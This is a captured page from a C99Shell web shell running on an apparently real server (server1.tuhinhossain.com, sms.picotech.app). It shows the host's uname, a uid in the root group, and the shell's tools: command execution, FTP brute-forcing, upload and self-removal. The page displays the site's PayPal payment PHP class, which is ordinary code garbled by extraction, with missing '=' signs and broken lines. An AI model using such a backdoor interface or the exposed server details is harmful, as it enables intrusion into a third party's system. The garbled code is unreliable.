!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/Modules/PaymentGateway/WHNPurchaseGateway/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPalPayment.php (4.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\WHNPurchaseGateway;

use 
App\Models\BillingRequest;
use 
App\Models\Number;
use 
App\Models\NumberRequest;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Log;
use 
PayPal\Api\Payment;

class 
PayPalPayment implements PaymentInterface
{
    public 
$paymentId;
    public 
$request;
    public 
$number;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirectfalse;

    public function 
__construct()
    {

    }

    public function 
pay()
    {
        
// TODO: Implement pay() method.
    
}

    public function 
number_request($numberReq){
        
$this->numberReq $numberReq;
        return 
$this;
    }

    public function 
request($request)
    {
        
$this->paymentId $request->paymentId;
        
$this->request $request;
        return 
$this;
    }

    public function 
number($number)
    {
        
$this->number $number;
        return 
$this;
    }

    public function 
getCredentials()
    {
        
$credentials json_decode(get_settings('payment_gateway'));
        if (!isset(
$credentials) || (!$credentials->paypal_client_id || !$credentials->paypal_client_secret)) {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }
        return 
$credentials;
    }

    public function 
will_redirect()
    {
        
// TODO: Implement will_redirect() method.
        
return $this->will_redirect;
    }

    public function 
redirect_url()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->redirect_url;
    }
    public function 
return_view()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->return_view;
    }
    public function 
error_message()
    {
        
// TODO: Implement error_message() method.
        
return $this->error_message;
    }

    public function 
process()
    {
        try {
            
$payment $this->PayPalPayment($this->number$this->numberReq);
            if (
$payment) {
                
$this->redirect_url $payment->getApprovalLink();
                
$this->will_redirect true;
                
$this->return_view null;
            } else{
                
$this->error_messagetrans('Invalid payment');
            }
        } catch (
\Exception $ex) {
            
Log::error($ex);
            
$this->error_message$ex->getMessage();
        }

    }

    
//custom functions

    
function PayPalPayment($number$numberReq)
    {
        
$credentials $this->getCredentials();

        
$apiContext $this->getPayPalApiContext($credentials->paypal_client_id$credentials->paypal_client_secret);
        
$payer = new \PayPal\Api\Payer();
        
$payer->setPaymentMethod('paypal');

        
$amount = new \PayPal\Api\Amount();
        
$amount->setTotal($this->number->sell_price);
        
$amount->setCurrency('USD'); //TODO:: get the currency

        
$transaction = new \PayPal\Api\Transaction();
        
$transaction->setAmount($amount);

        
$redirectUrls = new \PayPal\Api\RedirectUrls();
        
$redirectUrls->setReturnUrl(route('paymentgateway::whatsapp.number.payment.process.success', ['number' => $numberReq->id'user' => $numberReq->customer_id]))
            ->
setCancelUrl(route('paymentgateway::whatsapp.number.payment.process.cancel'));

        
$payment = new \PayPal\Api\Payment();
        
$payment->setIntent('sale')
            ->
setPayer($payer)
            ->
setTransactions(array($transaction))
            ->
setRedirectUrls($redirectUrls);

        try {
            
$payment->create($apiContext);
            return 
$payment;
        } catch (
\PayPal\Exception\PayPalConnectionException $ex) {
            
// This will print the detailed information on the exception.
            //REALLY HELPFUL FOR DEBUGGING
            
Log::error($ex->getData());
        }
        return 
null;
    }

    function 
getPayPalApiContext($client_id$secret_key)
    {

        return new 
\PayPal\Rest\ApiContext(
            new 
\PayPal\Auth\OAuthTokenCredential(
                
$client_id,     // ClientID
                
$secret_key      // ClientSecret
            
)
        );
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--